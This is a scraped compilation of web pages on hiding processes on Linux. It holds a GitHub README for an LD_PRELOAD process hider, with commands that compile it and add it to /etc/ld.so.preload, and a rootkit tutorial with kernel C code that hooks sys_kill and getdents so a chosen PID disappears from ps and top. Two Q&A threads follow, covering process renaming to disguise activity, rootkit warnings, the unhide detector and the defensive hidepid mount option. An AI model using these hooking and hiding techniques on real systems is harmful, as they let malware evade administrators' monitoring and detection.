Hide process in linux

Saved searches

Use saved searches to filter your results more quickly

You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session.

gianlucaborello/libprocesshider

This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

Sign In Required

Please sign in to use Codespaces.

Launching GitHub Desktop

If nothing happens, download GitHub Desktop and try again.

Launching GitHub Desktop

If nothing happens, download GitHub Desktop and try again.

Launching Xcode

If nothing happens, download Xcode and try again.

Launching Visual Studio Code

Your codespace will open once ready.

There was a problem preparing your codespace, please try again.

Latest commit

Fixed issue with readdir64

Git stats

Files

Failed to load latest commit information.

README.md

Hide a process under Linux using the ld preloader.

In short, compile the library:

gianluca@sid:~/libprocesshider$ make gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl gianluca@sid:~/libprocesshider$ sudo mv libprocesshider.so /usr/local/lib/ 

Load it with the global dynamic linker

root@sid:~# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload 

And your process will be off the radar

gianluca@sid:~$ sudo ps aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND . gianluca@sid:~$ sudo lsof -ni COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME . 

Источник

Linux Rootkits Part 7: Hiding Processes

Now that we know how to hide directories (see last time), we can also hide processes! This is because nearly all userspace tools that give us information about processes just read the contents of the /proc/ filesystem. We can check this by looking at the output of strace -e openat ps or strace -e openat top . So, if we hide directories with the name of the PID we want to keep secret, then these userspace tools won’t notice that the process is there!

There is a slight caveat that we will hide all files or directories with the name of the PID we’re hiding. The likelihood of this being spotted is pretty low.

Chosing which PID to hide⌗

PIDs are very unpredictable, so we don’t want to hardcode one into our rootkit. Therefore we need to come up with a way to tell our module which PID we want to hide. The easiest way to do this is to just hook sys_kill() again because it’s already built to send a PID to the kernel! We can implement a custom signal handler again (like in Part 3 and Part 5). The only difference will be that we will write the PID passed to signal 64 into a global hide_pid variable, rather than just ignoring it.

The hook for sys_kill() should look something like this (as always, I’m only illutrating the hook that uses the more modern pt_regs method of calling — more info can be found in Part 2):

/*  * hide_pid will store the string representation of the PID we're hiding  */ char hide_pid[NAME_MAX];  /*  * Declaration for the real sys_kill() function  */ static asmlinkage long (*orig_kill)(const struct pt_regs *);  /*  * The syscall hook  */ asmlinkage int hook_kill(const struct pt_regs *regs)   /*  * Pull out the arguments we need from the pt_regs struct  */  pid_t pid = regs->di;  int sig = regs->si;   /*  * If the signal is 64, then print a message to the kernel buffer and  * write the PID as a string to hide_pid  */  if (sig == 64)    printk(KERN_INFO "rootkit: hiding process with pid %d\n", pid);  sprintf(hide_pid, "%d%", pid);  return 0;  >   /*  * Otherwise, just return the real sys_kill  */  return orig_kill(regs); > 

Hiding The PID⌗

Now that we can tell the rootkit which PID we’d like to hide, we have to actually hide it! The way we do that is by taking the hooks for sys_getdents() and sys_getdents64() from Part 6, and replacing the line that compares current_dir->d_name to the PREFIX with one that compares it to hide_pid — see line 72 of the new rootkit.c :

if ( (memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0)  && (strncmp(hide_pid, "", NAME_MAX) != 0) )   /* Hide the directory with name in hide_pid */ > 

Note that we also have to make sure that hide_pid isn’t empty! If we don’t then the module will start off by hiding every directory on the system. This is because strlen(hide_pid) will be 0 , so the call to memcmp() will always return true.

And that’s pretty much all there is to it! Once we put together the rest of the kernel module (Ftrace, etc), we can build it and try it out. The full source (complete with headers and Makefile) is on the repo.

Success! PID 43218 gets hidden from the output of ps — and we didn’t even have to try that hard! This might seem like a simple technique to pull off, but it’s only because we’re repurposing two different syscall hooks that we’ve already covered: sys_kill() in Part 3 and sys_getdents() / sys_getdents64() in Part 6.

The only downside is that we can only hide one PID at a time. Support for more than one PID is left for you to try. Be warned though, it’s not as simple as it may sound!

Hope you enjoyed this one — it’s a little shorter than usual but that’s only because there isn’t much new here, just a clever combination of techniques we’ve already covered.

Источник

How to hide a running process ?

Using Ubuntu 12.04. is there any way to hide a running process ? That process shouldn’t’ display in system monitor,top,htop . There is no problem to remember the process id (PID) so observation of the process can be done easily .but i want to hide the process completely . is there any way ?

3 Answers 3

It is impossible to hide the process unless one starts messing around in the kernel to limit this.

One technique is to change the process name using:

prctl(PR_SET_NAME, (unsigned long) "NewName", 0, 0, 0); 

..and if possible to fork() and let the parent process die. If you were to do that periodically it makes it harder to track down the process.

I would highly recommend you to change the process name and give it some other name so that it might look like you are running some different process.

Example: you can change the process name from «chrome» to «findme«.

This can be done programmatically.

You can play around at kernel level (pid_getattr) to make it possible. Again this is not recommended.

WARNING . Don’t try the below answer:

If you wanna still go ahead and remove the process from top, there are few softwares which can do that for us. One among those software is called «Rootkits»

Rootkits: When rootkits is installed it overwrites the commands. It can overwrite the command like ps,ls,netstat,find,du,ifconfig,login,killall, etc..

There many malicious software with the same name. So be careful it might infect your system.

Unhide: To detect the hidden process you can use unhide.

Источник

Is it possible to ‘hide’ a process from the listing of `ps` or `top` on Linux

First, I presume that if this is possible it would need to be done as root (or as a user who shares root’s UID of 0). How can a process be launched so that it does not show up in a ps aux or ps ef or top listing if the command is run by non-root? Is this even possible? The distributions I typically run are RHEL/CentOS and Ubuntu — so if there is a distro-specific answer, that’s ok, too.

@Chris — nope. @fianchetto’s answer seems to be the only route, and that’s a lot more work than I’m comfortable undertaking 😐

4 Answers 4

Well, you have a couple of options here. Taking the easy way out would be to swap the ps and top programs out with modified versions that hide what it is you want to hide.

The alternative would be to run your code embedded in an existing process, or write a wrapper-script around your code with an innocuous name.

In some versions of PS, you can modify it by changing argv[], but not sure if that works for top, and not sure if it works in linux (It’s mainly a BSD convention).

It all depends, on exactly what you are looking to achieve by doing this?

my goal here is for processes spawned by root to not be visible to all users (perhaps security-related daemons or similar)

@flanchetto So, are you saying if I have a program that is already running and it later runs a command-line command with a password in it in the same process that the password will be securely given? e.g. run python myScript.py and all the subprocess.Popen commands (which may or may not contain passwords) are not shown, as long as it’s the same process?

Anyway, that doesn’t work (I just tried it and saw the password). So, I’m assuming you mean something else. Feel free to clarify. 🙂

hidepid=0 (default) means the old behavior — anybody may read all world-readable /proc/PID/* files.

hidepid=1 means users may not access any /proc// directories, but their own. Sensitive files like cmdline, sched*, status are now protected against other users. As permission checking done in proc_pid_permission() and files’ permissions are left untouched, programs expecting specific files’ modes are not confused.

hidepid=2 means hidepid=1 plus all /proc/PID/ will be invisible to other users. It doesn’t mean that it hides whether a process exists (it can be learned by other means, e.g. by kill -0 $PID), but it hides process’ euid and egid. It compicates intruder’s task of gathering info about running processes, whether some daemon runs with elevated privileges, whether another user runs some sensitive program, whether other users run any program at all, etc.

gid=XXX defines a group that will be able to gather all processes’ info (as in hidepid=0 mode). This group should be used instead of putting nonroot user in sudoers file or something. However, untrusted users (like daemons, etc.) which are not supposed to monitor the tasks in the whole system should not be added to the group.

You are not able to control the visibility on process level however you can ensure that your users can see their own processes only.

In case you have kernel version greater than 3.3 you can make a try with the following command:

 mount /proc -o remount,hidepid=2

Can you limit the hidepid=2 thing so it only affects specific users (or so it whitelists certain users)?

Works great! My problem was that I’m connecting to a server using a cron script and any user was able to see the credentials using «htop» (for example). Setting to «hidepid=2» users can not see processes launched by other users which is what I was looking for. Why is not set by default?

@lepe probably for legacy reasons. Would break this and that and therefore can’t (yet) be used everywhere.

Источник